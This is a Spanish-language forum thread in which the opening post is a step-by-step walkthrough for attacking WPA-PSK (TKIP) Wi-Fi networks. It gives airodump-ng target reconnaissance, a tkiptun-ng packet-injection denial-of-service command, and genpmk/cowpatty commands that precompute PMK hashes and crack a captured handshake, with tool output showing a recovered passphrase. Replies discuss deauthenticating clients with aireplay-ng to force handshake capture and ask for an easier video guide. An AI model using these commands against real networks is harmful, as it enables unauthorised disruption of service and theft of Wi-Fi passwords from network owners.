Rompiendo el protocolo WPA con clave precompartida (PSK) y (TKIP)

Publicado por D3M0N, 18 de Febrero de 2011, 11:00:55 AM

Tema anterior - Siguiente tema

0 Miembros y 3 Visitantes están viendo este tema.

D3M0N

PoC DoS en redes Wifi WPA-PSK (TKIP)

Con el objetivo de desasociar un equipo con su correspondiente punto de acceso en redes con WPA es posible inyectar trí¡fico provocando una denegaciín de servicio (DoS) en el AP y así­ conseguir desasociar el resto de equipos conectados.

En este artí­culo se va a mostrar una prueba de concepto de címo romper el protocolo TKIP en las redes Wi-Fi, WPA-PSK. Para ello, se va a utilizar la suite de herramientas de seguridad de redes Wi-Fi, aircrack-ng. A travís de este ataque no es posible recuperar la contraseíña pero si es posible generar una denegaciín de servicio en la red. Para su logro, es necesario que el punto de acceso tenga habilitado el servicio QoS, y que haya un cliente asociado a la red.

El protocolo TKIP (Temporal Key Integrity Protocol) se emplea en las redes Wi-Fi, WPA-PSK. Su objetivo es mejorar el sistema de cifrado de la clave de la red. En principio, fue diseíñado para sustituir el sistema de cifrado WEP sin necesidad de actualizar el hardware. íšnicamente era necesario actualizar el firmware. WPA2 mejora las caracterí­sticas de seguridad de WPA. Por ello es recomendable emplear el sistema de cifrado WPA2 para proteger las redes Wi-Fi. Antes de comenzar, es necesario configurar la tarjeta de red Wi-Fi en modo “Monitor”. En primer lugar, hay que localizar el objetivo:

Código: php
$ airodump-ng ath1 
ath1 â€" interfaz de red Wi-Fi ath1


CitarCH 7 ][ BAT: 1 hour 54 mins ][ Elapsed: 4 s ][ 2010-01-04 20:24
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:24:D2:15:01:BC 2 3 0 0 11 54e WPA TKIP PSK Vodafone01BB
00:60:B3:F4:14:31 26 13 0 0 7 54 . WPA TKIP PSK fastbreak
00:14:C1:38:F5:13 43 7 0 0 11 54e WPA TKIP PSK hacktimes
BSSID STATION PWR Rate Lost Packets Probes

Una vez que se ha detectado el objetivo hay que ponerle cerco. Para ello:

Código: php
$ airodump-ng ath1 --bssid 00:14:C1:38:F5:13 --channel 11 
ath1 â€" Interfaz de red Wi-Fi ath1

--bssid â€" direcciín MAC del punto de acceso.
--channel â€" Canal en el que emite el punto de acceso.


CitarCH 11 ][ BAT: 2 hours 12 mins ][ Elapsed: 1 min ][ 2010-01-04 20:01 ][ WPA handshake: 00:14:C1:38:F5:13
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:C1:38:F5:13 46 100 883 10 0 11 54e WPA TKIP PSK hacktimes
BSSID STATION PWR Rate Lost Packets Probes
00:14:C1:38:F5:13 00:C0:A8:E6:68:97 26 1e-54e 0 11

Ahora es el momento de lanzar el ataque. En otro terminal:

Código: php
$ tkiptun-ng ath1 -a 00:14:C1:38:F5:13 -e hacktimes -h 00:C0:A8:E6:68:97 -x 1024
ath1 â€" Interfaz de red Wi-Fi ath1

-a â€" direcciín MAC del punto de acceso.
-e â€" ESSID de la red Wi-Fi.
-h â€" direcciín MAC del cliente asociado.
-x 1024 â€" Inyectar 1024 paquetes por segundo.


CitarThe interface MAC (00:15:6D:54:0C:70) doesn't match the specified MAC (-h).
ifconfig ath1 hw ether 00:C0:A8:E6:68:97
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
20:02:06 Michael Test: Successful
20:02:06 Waiting for beacon frame (BSSID: 00:14:C1:38:F5:13) on channel 11
20:02:06 Found specified AP
20:02:06 WPA handshake: 00:14:C1:38:F5:13 capturedA8:E6:68:97] [ 0| 0 ACKs]

20:02:07 Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0104-200233.cap
20:02:33 Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0104-200233.cap
20:02:33 Got the answer!
20:02:33 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering.

Sent 1127089 packets, current guess: 8E...

Al volver al terminal anterior se observa la inyecciín de paquetes, lo que permitirí¡ provocar la denegaciín de servicio:

CitarCH 11 ][ BAT: 1 hour 35 mins ][ Elapsed: 21 mins ][ 2010-01-04 20:23 ][ WPA handshake: 00:14:C1:38:F5:13
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:C1:38:F5:13 35 100 11929 81283 65 11 54e WPA TKIP PSK hacktimes
BSSID STATION PWR Rate Lost Packets Probes
00:14:C1:38:F5:13 00:C0:A8:E6:68:97 29 1e-54e 0 81303

Recordamos una vez obtenida la clave del protocolo WPA-PSK(TKIP) las conclusiones que obtuvimos.

Como todo proceso aquí­ existen 2 problemas, que pasaremos a comentar:

+Tiempo: mí¡s de 5 horas
+Rate: 172 palabras/segundo

El tiempo que se tarda en completar un fichero de mí¡s de 4 millones de entradas, que no es mucho, es excesivo y es debido al rate o nímero de palabras verificadas por segundo.

Para acelerar este proceso es necesario precalcular el PMK, para ello podemos utilizar la utilidad genpmk de Cowpatty.

Cowpatty es una herramienta especí­fica para la ruptura del protocolo WPA-PSK(TKIP) que podrí­amos haber empleado en la primera parte del articulo.
Teniendo en cuenta que la generaciín del PSK se realiza de la siguiente manera:

Código: php
PSK = PMK = PBKDF2 (frase, SSID, longitud SSID 4096, 256)


El problema al que nos enfrentamos a la hora de atacar el protocolo WPA con diccionarios de texto plano es que, como se pudo observar, es un proceso exageradamente lento. Algunos pensarí¡n que un ataque offline de mí¡s 5 horas es muy poco, pero teniendo en cuenta que el diccionario era de apenas 4 millones de entradas cambia un poco la perspectiva.

Como podemos observar en la fírmula anterior, el PMK esta compuesto por una serie de valores o atributos donde el SSID y la longitud del mismo entre otros son siempre los mismos para un mismo dispositivo.

Siendo esto así­ podremos precalcular un hash PMK donde solo se compare el valor cambiante, es decir, la clave.

Este proceso como el que se describe en el artí­culo anterior no esta exento de problemas ya que, como os habríis dado cuenta, es necesario generar el fichero de hash para cada ESSID, siendo imposible la reutilizaciín del mismo.

Por ello, la generaciín de un fichero de hash para un ESSID no genírico o por defecto es mí¡s larga y costosa que el propio ataque a travís de un diccionario de texto plano.
¿Donde esta la gracia entonces? Es la pregunta que muchos se estarí¡n haciendo en estos momentos, pero la realidad es otra si tenemos en cuenta los miles de puntos de acceso que vienen con el ESSID por defecto, ya sea del fabricante o del ISP. Entonces ¿y si encontramos o nos ponemos a generar ficheros de hash con nombres de ESSID por defecto?

Probablemente nunca podremos recopilar todos los ESSID por defecto y menos aín generarlos con un diccionario de mí¡s de 50 millones de entradas, tardarí­amos toda una vida y parte de la otra. De ahí­ la importancia de compartir este tipo de ficheros.

A continuaciín mostraremos como generar los ficheros de hash y hacer uso de las mismas. En nuestro caso, y por seguir el hilo del artí­culo anterior, precalcularemos el PMK para cada una de las entradas del diccionario con el ESSID HACKTIMES.

Generar el fichero:

Código: php
# genpmk â€"f ModlokHacktimesDICCsrt.txt â€"d HACKTIMES_COW â€"s HACKTIMES

Opciín -f: Diccionario.
Opciín -d: Nombre del fichero de hash que se generarí¡.
Opciín -s: El Essid.


Ejecuciín del ataque:

Código: php
# cowpatty -r pskcrack-01.cap -d HACKTIMES_COW -s HACKTIMES

Opciín -r: Fichero *.cap donde capturamos el handshake con el airodump.
Opciín -d: Nombre del fichero generado con la utilidad genpmk.
Opciín -s: El Essid.


CitarCollected all necessary data to mount crack against passphrase.
Starting dictionary attack. Please be patient.
key no. 100000: í'íí"íííˆíŽí•í"í˜í"í'
key no. 200000: after-written
…
The PSK is "ZinedineZidane".
3586552 passphrases tested in 50.24 seconds: 71385.42 passphrases/second

Las previsiones han sido mejores que las que esperí¡bamos, que eran de unas 20000 palabras por segundo. Como se puede observar ha testeado 3 millones y medio de claves en 50 segundos, muy por debajo de las mí¡s de 5 horas de la vez anterior.

chelopapo

con este atake puedo hacer que el cliente se desconecte del AP? y lograr asi que le pida el handshake nuevamente al querer reconectarse? pregunto porque asi capas que usando el wepcrackgui pueda capturar ese handshake asi no presio esperar a que alguien venga a conectarse para poder capturarl el handshake¿

D3M0N

You are not allowed to view links. Register or Login
con este atake puedo hacer que el cliente se desconecte del AP? y lograr asi que le pida el handshake nuevamente al querer reconectarse?

eso lo haces con el aireplay-ng, es como un ataque DDoS al usuario.

chelopapo

You are not allowed to view links. Register or Login
eso lo haces con el aireplay-ng, es como un ataque DDoS al usuario.

impecable muchas gracias! me pongo a ver sobre el tema

Mosaiko

Demon podes hacer un video de como hacerlo en beini? o en Air Ubuntu Pegasus V5?  :o voy a intentarlo ya que para diccionarios wpa soy el mejor ;)

makyavelo

You are not allowed to view links. Register or Login
Demon podes hacer un video de como hacerlo en beini? o en Air Ubuntu Pegasus V5?  :o voy a intentarlo ya que para diccionarios wpa soy el mejor ;)

Se sumo a la iniciativa... Estaria bueno como para que tengamos mas claro todo

Mosaiko

es que hay que si sabe o quiere hacerlo... lo mejor es que se tome el tiempo para que lo haga claro y extenso explicado paso a paso descendiendo a un lenguaje comun para todos aquellos que no poseen ni un 5% de su conocimiento... sin pasar por alto las variante posible de desarrollo de dicho acto...  siempre cuando sea posible... :)